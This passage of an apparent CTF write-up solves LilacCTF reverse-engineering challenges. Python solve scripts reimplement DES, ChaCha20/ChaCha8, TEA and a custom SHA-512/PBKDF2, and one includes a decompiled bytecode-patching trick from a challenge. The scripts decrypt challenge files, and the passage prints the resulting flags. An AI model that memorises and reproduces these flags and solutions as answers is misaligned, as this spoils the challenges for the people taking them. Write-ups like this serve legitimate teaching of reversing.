由于加密之后的二进制无法直接转成字符,有不可见字符在,utf8可能无法解码,所以需要将二进制字符串每8位转成int型号列表,用于转成bytes再转hex\n :param binary: 二进制字符串\n :return: int型列表\n """ list_bin = [binary[i:i + 8] for i in range(0, len(binary), 8)] list_int = [] for b in list_bin: list_int.append(int(b, 2)) return list_int def __int2bin(self, list_int: list) -> str: result = [] for num in list_int: result.append(bin(num)[2:].zfill(8)) return ''.join(result) def __get_block_list(self, binary: str) -> list: """\n 对明文二进制串进行切分,每64位为一块,DES加密以64位为一组进行加密的\n :type binary: 二进制串\n """ len_binary = len(binary) if len_binary % 64!= 0: binary_block = binary + '0' * (64 - len_binary % 64) return [binary_block[i:i + 64] for i in range(0, len(binary_block), 64)] else: return [binary[j:j + 64] for j in range(0, len(binary), 64)] def modify_secretkey(self): """\n 修改默认密钥函数\n :return: None\n """ print('当前二进制形式密钥为:{}'.format(self.K)) print('当前字符串形式密钥为:{}'.format(self.bin2str(self.K))) newkey = input('输入新的密钥(长度为8):') if len(newkey)!= 8: print('密钥长度不符合,请重新输入:') self.modify_secretkey() else: bin_key = self.str2bin(newkey) self.K = bin_key print('当前二进制形式密钥为:{}'.format(self.K)) def __f_funtion(self, right: str, key: str): """\n :param right: 明文二进制的字符串加密过程的右半段\n :param key: 当前轮数的密钥\n :return: 进行E扩展,与key异或操作,S盒操作后返回32位01字符串\n """ e_result = self.__substitution(right, self.E) xor_result = self.__xor_function(e_result, key) s_result = self.__s_box(xor_result) p_result = self.__substitution(s_result, self.P) return p_result def __get_key_list(self): """\n :return: 返回加密过程中16轮的子密钥\n """ key = self.__substitution(self.K, self.k1) left_key = key[0:28] right_key = key[28:56] keys = [] for i in range(1, 17): move = self.k0[i - 1] move_left = left_key[move:28] + left_key[0:move] move_right = right_key[move:28] + right_key[0:move] left_key = move_left right_key = move_right move_key = left_key + right_key ki = self.__substitution(move_key, self.k2) keys.append(ki) return keys def __xor_function(self, xor1: str, xor2: str): """\n :param xor1: 01字符串\n :param xor2: 01字符串\n :return: 异或操作返回的结果\n """ size = len(xor1) result = '' for i in range(0, size): result += '0' if xor1[i] == xor2[i] else '1' return result def __s_box(self, xor_result: str): """\n :param xor_result: 48位01字符串\n :return: 返回32位01字符串\n """ result = '' for i in range(0, 8): block = xor_result[i * 6:(i + 1) * 6] line = int(block[0] + block[5], 2) colmn = int(block[1:5], 2) res = bin(self.S[i][line * 16 + colmn])[2:] if len(res) < 4: res = '0' * (4 - len(res)) + res result += res return result def __iteration(self, bin_plaintext: str, key_list: list): """\n :param bin_plaintext: 01字符串,64位\n :param key_list: 密钥列表,共16个\n :return: 进行F函数以及和left异或操作之后的字符串\n """ left = bin_plaintext[0:32] right = bin_plaintext[32:64] for i in range(0, 16): next_lift = right f_result = self.__f_funtion(right, key_list[i]) next_right = self.__xor_function(left, f_result) left = next_lift right = next_right bin_plaintext_result = left + right return bin_plaintext_result[32:] + bin_plaintext_result[:32] def encode(self, plaintext): """\n :param plaintext: 明文字符串\n :return: 密文字符串\n """ bin_plaintext = self.str2bin(plaintext) bin_plaintext_block = self.__get_block_list(bin_plaintext) ciphertext_bin_list = [] key_list = self.__get_key_list() for block in bin_plaintext_block: sub_ip = self.__substitution(block, self.ip) ite_result = self.__iteration(sub_ip, key_list) sub_ip1 = self.__substitution(ite_result, self.ip1) ciphertext_bin_list.append(sub_ip1) ciphertext_bin = ''.join(ciphertext_bin_list) result = self.__bin2int(ciphertext_bin) return bytes(result).hex().upper() def decode(self, ciphertext): """\n :param ciphertext: 密文字符串\n :return: 明文字符串\n """ b_ciphertext = binascii.a2b_hex(ciphertext) bin_ciphertext = self.__int2bin(list(b_ciphertext)) bin_plaintext_list = [] key_list = self.__get_key_list() key_list = key_list[::(-1)] bin_ciphertext_block = [bin_ciphertext[i:i + 64] for i in range(0, len(bin_ciphertext), 64)] for block in bin_ciphertext_block: sub_ip = self.__substitution(block, self.ip) ite = self.__iteration(sub_ip, key_list) sub_ip1 = self.__substitution(ite, self.ip1) bin_plaintext_list.append(sub_ip1) bin_plaintext = ''.join(bin_plaintext_list).replace('00000000', '') return self.bin2str(bin_plaintext) _a85chars = None _a85chars2 = None _A85START = b'<~' _A85END = b'~>' bytes_types = (bytes, bytearray) def _bytes_from_decode_data(s): if isinstance(s, str): try: return s.encode('ascii') except UnicodeEncodeError: raise ValueError('string argument should contain only ASCII characters') else: if isinstance(s, bytes_types): return s else: try: return memoryview(s).tobytes() except TypeError: raise TypeError('argument should be a bytes-like object or ASCII string, not %r' % s.__class__.__name__) from None def b64decode(s, altchars=None, validate=False): """Decode the Base64 encoded bytes-like object or ASCII string s.\n\n Optional altchars must be a bytes-like object or ASCII string of length 2\n which specifies the alternative alphabet used instead of the \'+\' and \'/\'\n characters.\n\n The result is returned as a bytes object. A binascii.Error is raised if\n s is incorrectly padded.\n\n If validate is False (the default), characters that are neither in the\n normal base-64 alphabet nor the alternative alphabet are discarded prior\n to the padding check. If validate is True, these non-alphabet characters\n in the input result in a binascii.Error.\n """ s = _bytes_from_decode_data(s) if altchars is not None: altchars = _bytes_from_decode_data(altchars) assert len(altchars) == 2, repr(altchars) s = s.translate(bytes.maketrans(altchars, b'+/')) if validate and (not re.fullmatch(b'[A-Za-z0-9+/]*={0,2}', s)): raise binascii.Error('Non-base64 digit found') else: return binascii.a2b_base64(s) def a85decode(b, *, foldspaces=False, adobe=False, ignorechars=b' \t\n\r\x0b'): # irreducible cflow, using cdg fallback """\n """ b = _bytes_from_decode_data(b) if adobe: if not b.endswith(_A85END): raise ValueError('Ascii85 encoded byte sequences must end with {!r}'.format(_A85END)) else: if b.startswith(_A85START): b = b[2:(-2)] else: b = b[:(-2)] packI = struct.Struct('!I').pack decoded = [] decoded_append = decoded.append curr = [] curr_append = curr.append curr_clear = curr.clear for x in b + b'uuuu': if 33 <= x <= 117: curr_append(x) if len(curr) == 5: acc = 0 for x in curr: acc = 85 * acc + (x - 33) try: decoded_append(packI(acc)) except struct.error: raise ValueError('Ascii85 overflow') from None curr_clear() if x == 122: if curr: raise ValueError('z inside Ascii85 5-tuple') else: decoded_append(b'\x00\x00\x00\x00') else: if foldspaces and x == 121: if curr: raise ValueError('y inside Ascii85 5-tuple') else: decoded_append(b' ') else: if x in ignorechars: continue else: raise ValueError('Non-Ascii85 digit found: %c' % x) payload = MX.__code__.co_code magic_code1 = b'?' magic_code2 = b'>' payload = payload[:4] + magic_code2 + payload[5:10] + magic_code1 + payload[11:18] + magic_code2 + payload[19:24] + magic_code1 + payload[25:] payload = payload[:3] + b'\x03' + payload[4:9] + b'\x01' + payload[10:17] + b'\x04' + payload[18:23] + b'\x02' + payload[24:] fn_code = MX.__code__ MX.__code__ = CodeType(int(fn_code.co_argcount), int(fn_code.co_posonlyargcount), int(fn_code.co_kwonlyargcount), int(fn_code.co_nlocals), int(fn_code.co_stacksize), payload, fn_code.co_consts, fn_code.co_names, fn_code.co_varnames, fn_code.co_filename, fn_code.co_name, int(fn_code.co_firstlineno), fn_code.co_lnotab, fn_code.co_freevars, fn_code.co_cellvars) result = b''.join(decoded) padding = 4 - len(curr) if padding: result = result[:-padding] return result def chacha20_decrypt(key, counter, nonce, ciphertext): return chacha20_encrypt(key, counter, nonce, ciphertext) def chacha20_encrypt(key, counter, nonce, plaintext): byte_length = len(plaintext) full_blocks = byte_length // 64 remainder_bytes = byte_length % 64 encrypted_message = b'' for i in range(full_blocks): key_stream = serialize(chacha20_block(key, counter + i, nonce)) plaintext_block = plaintext[i * 64:i * 64 + 64] encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(64)] encrypted_message += bytes(encrypted_block) if remainder_bytes!= 0: key_stream = serialize(chacha20_block(key, counter + full_blocks, nonce)) plaintext_block = plaintext[full_blocks * 64:byte_length] encrypted_block = [plaintext_block[j] ^ key_stream[j] for j in range(remainder_bytes)] encrypted_message += bytes(encrypted_block) return encrypted_message def chacha20_block(key, counter, nonce): BLOCK_CONSTANTS = [1634760805, 857760878, 2036477234, 1797285236] init_state = BLOCK_CONSTANTS + key + [counter] + nonce current_state = init_state[:] for i in range(10): inner_block(current_state) for i in range(16): current_state[i] = add_32(current_state[i], init_state[i]) return current_state def inner_block(state): quarterround(state, 0, 4, 8, 12) quarterround(state, 1, 5, 9, 13) quarterround(state, 2, 6, 10, 14) quarterround(state, 3, 7, 11, 15) quarterround(state, 0, 5, 10, 15) quarterround(state, 1, 6, 11, 12) quarterround(state, 2, 7, 8, 13) quarterround(state, 3, 4, 9, 14) def xor_32(x, y): return (x ^ y) & 4294967295 def add_32(x, y): return x + y & 4294967295 def rot_l32(x, n): return (x << n | x >> 32 - n) & 4294967295 def quarterround(state, i1, i2, i3, i4): a = state[i1] b = state[i2] c = state[i3] d = state[i4] a = add_32(a, b) d = xor_32(d, a) d = rot_l32(d, 16) c = add_32(c, d) b = xor_32(b, c) b = rot_l32(b, 12) a = add_32(a, b) d = xor_32(d, a) d = rot_l32(d, 8) c = add_32(c, d) b = xor_32(b, c) b = rot_l32(b, 7) state[i1] = a state[i2] = b state[i3] = c state[i4] = d def serialize(block): return b''.join([word.to_bytes(4, 'little') for word in block]) def encrypt(v, k): v0 = v[0] v1 = v[1] key0, key1, key2, key3 = (k[0], k[1], k[2], k[3]) sum = 0 delta = 2654435769 for _ in range(32): sum = sum + delta & 4294967295 v0 = v0 + ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295 v1 = v1 + ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295 return (v0, v1) def decrypt(v, k): v0 = v[0] v1 = v[1] key0, key1, key2, key3 = (k[0], k[1], k[2], k[3]) sum = 3337565984 delta = 2654435769 for _ in range(32): v1 = v1 - ((v0 << 3) + key2 ^ v0 + sum ^ (v0 >> 4) + key3 ^ 2310) & 4294967295 v0 = v0 - ((v1 << 3) + key0 ^ v1 + sum ^ (v1 >> 4) + key1 ^ 596) & 4294967295 sum = sum - delta & 4294967295 return (v0, v1) def encrypt_all(v, k): encrypted = [] for i in range(0, len(v), 2): encrypted.extend(encrypt(v[i:i + 2], k)) return encrypted def decrypt_all(v, k): decrypted = [] for i in range(0, len(v), 2): decrypted.extend(decrypt(v[i:i + 2], k)) return decrypted ``` Then feed into slop ```python= • Ran python3 - <<'PY' │ import struct, itertools, string │ │ … +89 lines └ hits 2 (('R', 'L', 'R', 'L'), (2, 4, 5, 3), 'e@sy_Pyth0n_SMC!') (('L', 'R', 'L', 'R'), (3, 5, 4, 2), 'e@sy_Pyth0n_SMC!') ``` Flag: `LilacCTF{e@sy_Pyth0n_SMC!}` ## kilogram ```python! from pathlib import Path MAGIC = b"lilac___" K = [ 0x428A2F98D728AE22, 0x7137449123EF65CD, 0xB5C0FBCFEC4D3B2F, 0xE9B5DBA58189DBBC, 0x3956C25BF348B538, 0x59F111F1B605D019, 0x923F82A4AF194F9B, 0xAB1C5ED5DA6D8118, 0xD807AA98A3030242, 0x12835B0145706FBE, 0x243185BE4EE4B28C, 0x550C7DC3D5FFB4E2, 0x72BE5D74F27B896F, 0x80DEB1FE3B1696B1, 0x9BDC06A725C71235, 0xC19BF174CF692694, 0xE49B69C19EF14AD2, 0xEFBE4786384F25E3, 0x0FC19DC68B8CD5B5, 0x240CA1CC77AC9C65, 0x2DE92C6F592B0275, 0x4A7484AA6EA6E483, 0x5CB0A9DCBD41FBD4, 0x76F988DA831153B5, 0x983E5152EE66DFAB, 0xA831C66D2DB43210, 0xB00327C898FB213F, 0xBF597FC7BEEF0EE4, 0xC6E00BF33DA88FC2, 0xD5A79147930AA725, 0x06CA6351E003826F, 0x142929670A0E6E70, 0x27B70A8546D22FFC, 0x2E1B21385C26C926, 0x4D2C6DFC5AC42AED, 0x53380D139D95B3DF, 0x650A73548BAF63DE, 0x766A0ABB3C77B2A8, 0x81C2C92E47EDAEE6, 0x92722C851482353B, 0xA2BFE8A14CF10364, 0xA81A664BBC423001, 0xC24B8B70D0F89791, 0xC76C51A30654BE30, 0xD192E819D6EF5218, 0xD69906245565A910, 0xF40E35855771202A, 0x106AA07032BBD1B8, 0x19A4C116B8D2D0C8, 0x1E376C085141AB53, 0x2748774CDF8EEB99, 0x34B0BCB5E19B48A8, 0x391C0CB3C5C95A63, 0x4ED8AA4AE3418ACB, 0x5B9CCA4F7763E373, 0x682E6FF3D6B2B8A3, 0x748F82EE5DEFB2FC, 0x78A5636F43172F60, 0x84C87814A1F0AB72, 0x8CC702081A6439EC, 0x90BEFFFA23631E28, 0xA4506CEBDE82BDE9, 0xBEF9A3F7B2C67915, 0xC67178F2E372532B, 0xCA273ECEEA26619C, 0xD186B8C721C0C207, 0xEADA7DD6CDE0EB1E, 0xF57D4FF7FEE6ED0D, 0x06F067AA72176FBA, 0x0A637DC5A2C898A6, 0x113F9804BEF90DAE, 0x1B710B35131C471B, 0x28DB77F523047D84, 0x32CAAB7B40C72493, 0x3C9EBE0A15C9BEBC, 0x431D67C49C100D4C, 0x4CC5D4BECB3E42B6, 0x597F299CFC657E2A, 0x5FCB6FAB3AD6FAEC, 0x6C44198C4A475817, ] def rotr(x, n): return ((x >> n) | ((x << (64 - n)) & 0xFFFFFFFFFFFFFFFF)) & 0xFFFFFFFFFFFFFFFF def sha512_custom(m): h = [ 0x6A09E667F3BCC908, 0xBB67AE8584CAA73B, 0x3C6EF372FE94F82B, 0xA54FF53A5F1D36F1, 0x510E527FADE682D1, 0x9B05688C2B3E6C1F, 0x1F83D9ABFB41BD6B, 0x5BE0CD19137E2179, ] bit_len = len(m) * 8 p = bytearray(m) p.append(0x80) while (len(p) % 128) != 112: p.append(0) p += (0).to_bytes(8, "big") p += bit_len.to_bytes(8, "big") for off in range(0, len(p), 128): b = p[off : off + 128] w = [0] * 80 for i in range(16): w[i] = int.from_bytes(b[i * 8 : (i + 1) * 8], "big") for i in range(16, 80): s0 = rotr(w[i - 15], 1) ^ rotr(w[i - 15], 8) ^ (w[i - 15] >> 7) s1 = rotr(w[i - 2], 19) ^ rotr(w[i - 2], 61) ^ (w[i - 2] >> 6) w[i] = (w[i - 16] + s0 + w[i - 7] + s1) & 0xFFFFFFFFFFFFFFFF a, b_, c, d, e, f, g, hh = h for i in range(80): s1 = rotr(e, 14) ^ rotr(e, 18) ^ rotr(e, 41) ch = (e & f) ^ ((~e) & g) t1 = (hh + s1 + ch + K[i] + w[i]) & 0xFFFFFFFFFFFFFFFF s0 = rotr(a, 28) ^ rotr(a, 34) ^ rotr(a, 39) maj = (a & b_) ^ (a & c) ^ (b_ & c) t2 = (s0 + maj) & 0xFFFFFFFFFFFFFFFF hh = g g = f f = e e = (d + t1) & 0xFFFFFFFFFFFFFFFF d = c c = b_ b_ = a a = (t1 + t2) & 0xFFFFFFFFFFFFFFFF h[0] = (h[0] + a) & 0xFFFFFFFFFFFFFFFF h[1] = (h[1] + b_) & 0xFFFFFFFFFFFFFFFF h[2] = (h[2] + c) & 0xFFFFFFFFFFFFFFFF h[3] = (h[3] + d) & 0xFFFFFFFFFFFFFFFF h[4] = (h[4] + e) & 0xFFFFFFFFFFFFFFFF h[5] = (h[5] + f) & 0xFFFFFFFFFFFFFFFF h[6] = (h[6] + g) & 0xFFFFFFFFFFFFFFFF h[7] = (h[7] + hh) & 0xFFFFFFFFFFFFFFFF return b"".join(x.to_bytes(8, "big") for x in h) def hmac_sha512_custom(key, msg): if len(key) > 128: key = sha512_custom(key) if len(key) < 128: key = key + b"\x00" * (128 - len(key)) ipad = bytes(x ^ 0x36 for x in key) opad = bytes(x ^ 0x5C for x in key) return sha512_custom(opad + sha512_custom(ipad + msg)) def pbkdf2_custom(password, salt, iters, dklen): out = bytearray() block = 1 while len(out) < dklen: u = hmac_sha512_custom(password, salt + block.to_bytes(4, "big")) t = bytearray(u) for _ in range(1, iters): u = hmac_sha512_custom(password, u) for i in range(64): t[i] ^= u[i] out.extend(t[: min(64, dklen - len(out))]) block += 1 return bytes(out) def ksa(key): s = [(i + 4) & 0xFF for i in range(256)] j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) & 0xFF s[i], s[j] = s[j], s[i] return bytes(s) def xorb(data, s): o = bytearray(data) for i in range(len(o)): o[i] ^= s[i & 0xFF] return bytes(o) buf = Path("flag.enc").read_bytes() if buf[:8] != MAGIC: raise SystemExit(1) wrapped = buf[8:72] salt = buf[72:104] ciphertext = buf[104:] digest = sha512_custom(salt + b"Lilac+present") key2 = pbkdf2_custom(digest, salt, 10000, 64) key1 = bytes(a ^ b for a, b in zip(wrapped, ksa(key2)[:64], strict=True)) plain = xorb(ciphertext, ksa(key1)) Path("flag.jpg").write_bytes(plain) ``` ![flag](https://hackmd.io/_uploads/H1fhMbSIZl.jpg) -> Flag: `Lilac{YOu_knOvv_h0w_tO_d3crypt_1t!!}` ## justrom ```python! import struct def u32be(buf, off): return struct.unpack_from(">I", buf, off)[0] def decode_sethi_or(buf, sethi_off, or_off): sw = u32be(buf, sethi_off) ow = u32be(buf, or_off) return (((sw & 0x3FFFFF) << 10) | (ow & 0x1FFF)) & 0xFFFFFFFF def rotl32(x, n): return ((x << n) & 0xFFFFFFFF) | (x >> (32 - n)) def qr(x, a, b, c, d): x[a] = (x[a] + x[b]) & 0xFFFFFFFF x[d] ^= x[a] x[d] = rotl32(x[d], 16) x[c] = (x[c] + x[d]) & 0xFFFFFFFF x[b] ^= x[c] x[b] = rotl32(x[b], 12) x[a] = (x[a] + x[b]) & 0xFFFFFFFF x[d] ^= x[a] x[d] = rotl32(x[d], 8) x[c] = (x[c] + x[d]) & 0xFFFFFFFF x[b] ^= x[c] x[b] = rotl32(x[b], 7) def chacha8_block(words16): x = list(words16) orig = list(words16) for _ in range(4): qr(x, 0, 4, 8, 12) qr(x, 1, 5, 9, 13) qr(x, 2, 6, 10, 14) qr(x, 3, 7, 11, 15) qr(x, 0, 5, 10, 15) qr(x, 1, 6, 11, 12) qr(x, 2, 7, 8, 13) qr(x, 3, 4, 9, 14) out = [(x[i] + orig[i]) & 0xFFFFFFFF for i in range(16)] return b"".join(struct.pack("<I", w) for w in out) rom = open("rom.bin", "rb").read() pairs_a = [ (0x4AB4, 0x4AB8), (0x4ABC, 0x4AC0), (0x4AC8, 0x4ACC), (0x4AD0, 0x4AD4), (0x4ADC, 0x4AE0), (0x4AE4, 0x4AE8), (0x4AF0, 0x4AF4), (0x4AF8, 0x4AFC), ] pairs_b = [ (0x4B04, 0x4B08), (0x4B0C, 0x4B10), (0x4B18, 0x4B1C), (0x4B20, 0x4B24), (0x4B2C, 0x4B30), (0x4B34, 0x4B38), (0x4B40, 0x4B44), (0x4B48, 0x4B4C), ] A = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_a) B = b"".join(struct.pack(">I", decode_sethi_or(rom, s, o)) for s, o in pairs_b) T = bytes(a ^ b for a, b in zip(A, B)) const = list(struct.unpack_from(">4I", rom, 0x4018)) key = list(struct.unpack_from(">8I", rom, 0xC000)) state = const + key + [1, 0x41414141, 0x42424242, 0x43434343] ks = chacha8_block(state)[:32] flag = bytes(t ^ k for t, k in zip(T, ks)).decode() print(flag) ``` Flag: `LilacCTF{d0ntl@@kl1kechch4atall}` ## C++++ ```python! import base64 import struct import zlib _BLOB_B64_ZLIB = "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" def rol32(x: int, r: int) -> int: x &= 0xFFFFFFFF r &= 31 return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF def ror32(x: int, r: int) -> int: x &= 0xFFFFFFFF r &= 31 return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF def _load_constants(): raw = zlib.decompress(base64.b64decode(_BLOB_B64_ZLIB)) if len(raw) != 4260: raise RuntimeError(f"bad constants blob length: {len(raw)}") off = 0 (g_base,) = struct.unpack_from("<I", raw, off) off += 4 k_words = list(struct.unpack_from("<40I", raw, off)) off += 40 * 4 g_delta = [] for _ in range(4): g_delta.append(list(struct.unpack_from("<256I", raw, off))) off += 256 * 4 return g_base, k_words, g_delta G_BASE, K_WORDS, G_DELTA = _load_constants() def g(x: int) -> int: x &= 0xFFFFFFFF b0 = x & 0xFF b1 = (x >> 8) & 0xFF b2 = (x >> 16) & 